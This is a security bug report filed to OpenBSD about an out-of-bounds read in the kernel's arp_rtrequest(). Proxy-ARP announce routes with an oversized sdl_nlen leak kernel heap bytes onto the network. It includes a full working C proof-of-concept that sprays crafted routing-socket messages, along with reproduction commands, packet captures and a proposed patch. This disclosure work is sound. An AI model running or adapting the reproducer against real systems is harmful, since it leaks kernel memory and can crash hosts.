>Synopsis:      In arp_rtrequest() the RTM_ADD announce block passes
                LLADDR(satosdl(gate)) to arprequest() before the AF_LINK /
                sa_len check in the RTM_RESOLVE case runs, and nothing ever
                bounds sdl_nlen.  gate is the caller-supplied rt_gateway of the
                route being added.  LLADDR(sdl) == sdl_data + sdl_nlen, so a
                proxy-ARP announce route (RTF_ANNOUNCE, as from `arp -s ip mac
                pub`) with a sockaddr_dl gateway whose sdl_nlen is large makes
                arprequest() memcpy() ETHER_ADDR_LEN bytes from past the end of
                the small rt_gateway allocation.  Those bytes are broadcast as
                the ARP sender hardware address -> deterministic kernel-heap
                information leak; under the right heap layout the same read
                crosses an unmapped page and faults.  Reachable by any process
                that may write the routing socket (root).
>Category:      kernel
>Severity:      serious
>Priority:      medium
>Class:         security
>Release:       OpenBSD 8.0-current
>Environment:
        System      : OpenBSD 8.0-current
        Details     : OpenBSD 8.0-current (GENERIC.MP: WITNESS, DIAGNOSTIC)
        Architecture: OpenBSD.amd64
        Machine     : amd64 (QEMU/KVM guest, 2 vcpu, 4 GB)
        Source      : sys/netinet/if_ether.c v1.278 (md5 53baec9a...);
                      identical on d5b06e73 and master afb08c4d5.

>Description:

        arp_rtrequest() (sys/netinet/if_ether.c), RTM_ADD case:

                if (rt->rt_flags & (RTF_ANNOUNCE|RTF_LOCAL))
                        arprequest(ifp,
                            &satosin(rt_key(rt))->sin_addr.s_addr,
                            &satosin(rt_key(rt))->sin_addr.s_addr,
                            (u_char *)LLADDR(satosdl(gate)));   <-- here
                /*FALLTHROUGH*/
        case RTM_RESOLVE:
                if (gate->sa_family != AF_LINK ||
                    gate->sa_len < sizeof(struct sockaddr_dl)) {        <-- too 
late

        gate is rt->rt_gateway, i.e. the gateway sockaddr the caller handed
        to the routing socket for this route.  The announce arprequest() runs
        first; the AF_LINK / sa_len sanity check is in the RTM_RESOLVE case
        below it (reached via the fallthrough), so it runs only after the
        LLADDR() has already been dereferenced.  Neither check bounds
        sdl_nlen in any case.

        LLADDR(sdl) is sdl->sdl_data + sdl->sdl_nlen (net/if_dl.h).  sdl_nlen
        is an attacker-controlled byte of the gateway.  arprequest() copies
        ETHER_ADDR_LEN (6) bytes starting there into the ARP sender hardware
        address.  With a gateway sized just large enough to be accepted but
        with sdl_nlen = 0xff, the 6 bytes come from ~255 bytes past the end
        of the (small) rt_gateway allocation -- adjacent kernel heap.

        A route carrying RTF_ANNOUNCE (== RTF_PROTO2) with an AF_LINK gateway
        is a normal proxy-ARP entry and is accepted from userland; it does
        not need RTF_GATEWAY/BROADCAST/MULTICAST/MPLS/CLONING, so it reaches
        this block.  Each add broadcasts the 6 leaked bytes on the segment as
        the ARP sender hardware address.  Deleting and re-adding re-enters
        arp_rtrequest() and leaks again.

        Because the read is a fixed small distance past a pool allocation,
        whether it faults depends on heap layout: normally it reads live
        kernel heap (silent info leak); when the allocation sits near the end
        of a page with the next page unmapped, arprequest() faults
        (arp_rtrequest+0x285, arprequest() inlined).  The info leak is the
        deterministic, always-reachable observable.

>How-To-Repeat:

        On a box with an up ethernet-like interface holding 10.9.9.1/24 in
        rdomain 0 (here vether99, lladdr 02:aa:aa:aa:aa:aa), as root:

        1.  cat > arp-oob.c <<'EOF'
            /*
             * repro.c -- deterministic trigger for the arp_rtrequest() 
out-of-bounds read.
             *
             * sys/netinet/if_ether.c arp_rtrequest(), RTM_ADD case (d5b06e73 
line 225):
             *
             *  if (rt->rt_flags & (RTF_ANNOUNCE|RTF_LOCAL))
             *          arprequest(ifp,
             *              &satosin(rt_key(rt))->sin_addr.s_addr,
             *              &satosin(rt_key(rt))->sin_addr.s_addr,
             *              (u_char *)LLADDR(satosdl(gate)));   <-- OOB read
             *  case RTM_RESOLVE:
             *          if (gate->sa_family != AF_LINK || gate->sa_len < ...)  
<-- too late,
             *              and never checks the LLADDR offset itself
             *
             * LLADDR(sdl) == sdl->sdl_data + sdl->sdl_nlen, i.e. (gate + 8) + 
gate[5].
             * sdl_nlen is attacker-controlled.  arprequest() then memcpy()s 
ETHER_ADDR_LEN
             * (6) bytes from that pointer into the ARP request.  Nothing 
validates that
             * sdl_nlen (+6) fits within the rt_gateway allocation, so a large 
sdl_nlen
             * reads far past the small malloc'd rt_gateway -> page fault
             * (arp_rtrequest+0x285, arprequest() inlined).
             *
             * A proxy-ARP announce route (RTF_ANNOUNCE, == `arp -s ip mac 
pub`) with an
             * AF_LINK gateway is fully accepted from userland, so this is 
reachable by any
             * process that may write the routing socket.
             *
             *  repro <base, e.g. 10.9.9> <rtable> [iterations]
             *
             * Needs an up ethernet-like iface with <base>.1/24 configured in 
<rtable>.
             */
            #include <sys/types.h>
            #include <sys/socket.h>
            #include <net/if.h>
            #include <net/if_dl.h>
            #include <net/route.h>
            #include <netinet/in.h>
            #include <arpa/inet.h>
            
            #include <err.h>
            #include <fcntl.h>
            #include <stdio.h>
            #include <stdlib.h>
            #include <string.h>
            #include <unistd.h>
            
            #define ROUNDUP(a) ((a) > 0 ? (1 + (((a) - 1) | (sizeof(long) - 
1))) : sizeof(long))
            
            int
            main(int argc, char *argv[])
            {
                char buf[512], *p;
                struct rt_msghdr *rtm = (struct rt_msghdr *)buf;
                struct sockaddr_in dst;
                struct sockaddr_dl gw;
                int s, i, n, glen;
                u_int tableid, idx;
                const char *base;
            
                if (argc < 3)
                        errx(2, "usage: %s base rtable [iters] [gwlen]", 
argv[0]);
                base = argv[1];
                tableid = (u_int)strtoul(argv[2], NULL, 10);
                n = argc > 3 ? atoi(argv[3]) : 20000;
                /* small gwlen -> tiny rt_gateway alloc -> larger relative 
overread */
                glen = argc > 4 ? atoi(argv[4]) : (int)sizeof(gw);
                if (glen < 8)
                        glen = 8;
            
                if ((s = socket(AF_ROUTE, SOCK_RAW, 0)) == -1)
                        err(1, "socket");
                fcntl(s, F_SETFL, O_NONBLOCK);
            
                for (i = 0; i < n; i++) {
                        memset(buf, 0, sizeof(buf));
                        memset(&dst, 0, sizeof(dst));
                        memset(&gw, 0, sizeof(gw));
            
                        /* DST: a host on <base>.0/24 -> resolves to the arp 
interface */
                        dst.sin_len = sizeof(dst);
                        dst.sin_family = AF_INET;
                        {
                                char a[32];
                                snprintf(a, sizeof(a), "%s.%d", base, 2 + (i % 
250));
                                inet_pton(AF_INET, a, &dst.sin_addr);
                        }
            
                        /* GATEWAY: AF_LINK sockaddr_dl with a huge sdl_nlen.
                         * The route is a valid proxy-ARP announce entry, but
                         * LLADDR(gate) = sdl_data + 0xff reads far past 
rt_gateway. */
                        gw.sdl_len = glen;
                        gw.sdl_family = AF_LINK;
                        idx = if_nametoindex("vether99");
                        gw.sdl_index = idx;
                        gw.sdl_nlen = 0xff;
                        gw.sdl_alen = 6;
            
                        rtm->rtm_version = RTM_VERSION;
                        rtm->rtm_type = RTM_ADD;
                        rtm->rtm_hdrlen = sizeof(*rtm);
                        rtm->rtm_tableid = tableid;
                        rtm->rtm_index = 0;
                        rtm->rtm_seq = i + 1;
                        rtm->rtm_pid = getpid();
                        /* RTF_ANNOUNCE (== RTF_PROTO2) reaches arprequest(); no
                         * RTF_GATEWAY/BROADCAST/MULTICAST/MPLS/CLONING */
                        rtm->rtm_flags = RTF_UP | RTF_HOST | RTF_STATIC | 
RTF_ANNOUNCE;
                        rtm->rtm_addrs = RTA_DST | RTA_GATEWAY;
            
                        p = buf + sizeof(*rtm);
                        memcpy(p, &dst, sizeof(dst));
                        p += ROUNDUP(dst.sin_len);
                        memcpy(p, &gw, glen);
                        p += ROUNDUP(glen);
                        rtm->rtm_msglen = p - buf;
            
                        if (write(s, buf, rtm->rtm_msglen) == -1)
                                continue;       /* EEXIST etc.; keep spraying */
            
                        /* delete it again so the next add re-enters 
arp_rtrequest */
                        rtm->rtm_type = RTM_DELETE;
                        rtm->rtm_seq = i + 1 + n;
                        (void)write(s, buf, rtm->rtm_msglen);
                }
                printf("repro: sent %d announce adds, survived (patched 
kernel?)\n", n);
                return 0;
            }
        EOF
            cc -O2 -o arp-repro arp-oob.c

        2.  ifconfig vether99 create
            ifconfig vether99 lladdr 02:aa:aa:aa:aa:aa
            ifconfig vether99 inet 10.9.9.1/24 up
            tcpdump -i vether99 -lent arp &
            ./arp-repro 10.9.9 0 1

        tcpdump shows an "arp who-has ... tell ..." whose Ethernet source
        address is the leaked heap bytes, e.g.

            ff:18:93:6a:56:01 ff:ff:ff:ff:ff:ff 0806 42: arp who-has 10.9.9.2 
tell 10.9.9.2
            ff:f8:fb:62:59:01 ff:ff:ff:ff:ff:ff 0806 42: arp who-has 10.9.9.2 
tell 10.9.9.2

        The source address is not the interface lladdr and varies run to run
        with heap contents -- it is kernel memory on the wire.  A well-formed
        proxy-ARP entry (`arp -s 10.9.9.77 02:00:00:00:00:77 pub`, sdl_nlen=0)
        announces its own address correctly, as expected.

>Fix:

        Please consider this diff for discussion.  It validates the gateway
        before LLADDR() dereferences it: the announce is only sent when gate
        is an AF_LINK sockaddr_dl long enough that sdl_nlen + ETHER_ADDR_LEN
        stays within it.  A well-formed proxy-ARP or RTF_LOCAL gateway
        (sdl_nlen 0) still passes, so legitimate announces are unchanged; a
        gateway with an out-of-range sdl_nlen simply does not announce (it
        still falls through to the existing AF_LINK/sa_len check below, which
        rejects a malformed gateway as before).

        This is validation only.  It adds, moves and extends no lock:
        arp_rtrequest() already runs under NET_ASSERT_LOCKED() and the new
        code is a plain bounds test on the gateway sockaddr.

        A/B verified on VM 144 (GENERIC.MP+WITNESS), two kernels built from
        one tree differing only in if_ether.o:
          - malformed announce (sdl_nlen=0xff): stock 3/3 emit the ARP with
            leaked heap bytes as the sender address; patched 0/3 (announce
            suppressed).
          - control, legitimate `arp -s ... pub`: announces correctly on both.
        Evidence: results/arp-announce/AB-RESULTS.txt.

Index: sys/netinet/if_ether.c
===================================================================
--- sys/netinet/if_ether.c
+++ sys/netinet/if_ether.c
@@ -222,11 +222,26 @@
                 * Announce a new entry if requested or warn the user
                 * if another station has this IP address.
                 */
-               if (rt->rt_flags & (RTF_ANNOUNCE|RTF_LOCAL))
-                       arprequest(ifp,
-                           &satosin(rt_key(rt))->sin_addr.s_addr,
-                           &satosin(rt_key(rt))->sin_addr.s_addr,
-                           (u_char *)LLADDR(satosdl(gate)));
+               if (rt->rt_flags & (RTF_ANNOUNCE|RTF_LOCAL)) {
+                       struct sockaddr_dl *sdl = satosdl(gate);
+
+                       /*
+                        * gate is caller-supplied for a manual announce
+                        * route.  Validate it before LLADDR() dereferences
+                        * sdl_data + sdl_nlen: the AF_LINK/sa_len check in
+                        * the RTM_RESOLVE case below runs too late and never
+                        * bounds sdl_nlen, so an oversized sdl_nlen makes
+                        * arprequest() read past the end of rt_gateway.
+                        */
+                       if (gate->sa_family == AF_LINK &&
+                           gate->sa_len >= sizeof(struct sockaddr_dl) &&
+                           sdl->sdl_nlen + ETHER_ADDR_LEN <= gate->sa_len -
+                           offsetof(struct sockaddr_dl, sdl_data))
+                               arprequest(ifp,
+                                   &satosin(rt_key(rt))->sin_addr.s_addr,
+                                   &satosin(rt_key(rt))->sin_addr.s_addr,
+                                   (u_char *)LLADDR(sdl));
+               }
                /*FALLTHROUGH*/
        case RTM_RESOLVE:
                if (gate->sa_family != AF_LINK ||

Reply via email to